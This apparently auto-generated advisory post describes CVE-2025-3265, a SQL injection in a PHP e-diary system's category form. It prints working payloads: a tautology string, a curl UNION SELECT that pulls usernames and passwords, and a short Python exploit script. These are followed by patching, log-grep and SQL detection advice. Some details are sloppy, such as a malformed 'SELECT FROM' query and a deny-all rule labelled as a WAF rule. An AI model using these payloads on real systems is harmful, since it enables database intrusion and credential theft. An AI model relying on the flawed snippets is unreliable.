PHPGurukul e-Diary Management System 10, SQL Injection, CVE-2025-3265 (Critical)

Listen to this Post

How CVE-2025-3265 Works

This vulnerability exists in the `add-category.php` file of PHPGurukul e-Diary Management System 1.0 due to improper input sanitization of the `Category` parameter. Attackers can inject malicious SQL queries through this parameter, leading to unauthorized database access. The flaw allows remote exploitation without authentication (PR:N). The SQL injection occurs because user-supplied input is directly concatenated into SQL statements, enabling attackers to manipulate queries, extract sensitive data, or execute arbitrary commands on the database server.

DailyCVE Form

Platform: PHPGurukul e-Diary
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 04/07/2025

What Undercode Say:

Exploitation

1. Craft Malicious Payload:

' OR 1=1--

2. Exploit via Curl:

curl -X POST "http://target.com/add-category.php" -d "Category=test' UNION SELECT username,password FROM users--"

3. Automated Exploit (Python):

import requests
target = "http://target.com/add-category.php"
payload = {"Category": "test' UNION SELECT 1,@@version--"}
response = requests.post(target, data=payload)
print(response.text)

Protection

1. Patch: Apply vendor updates.

2. Input Sanitization:

$category = mysqli_real_escape_string($conn, $_POST['Category']);

3. Prepared Statements:

$stmt = $conn->prepare("INSERT INTO categories (name) VALUES (?)");
$stmt->bind_param("s", $_POST['Category']);
$stmt->execute();

4. WAF Rules:

location ~ add-category.php {
deny all;
}

5. Log Monitoring:

grep "add-category.php" /var/log/apache2/access.log | grep -E "UNION|SELECT|--"

Analytics

  • CVSS 4.0: AV:N/AC:L/PR:N/UI:N (Network, Low Complexity, No Privileges)
  • Attack Vector: Remote
  • Impact: Data Confidentiality (High), Integrity (Medium)

Detection

SELECT FROM logs WHERE url LIKE '%add-category.php%' AND request LIKE '%UNION%';

Mitigation

  • Disable `add-category.php` if unused.
  • Implement rate-limiting:
    iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 50 -j DROP
    

References:

Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-3265
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top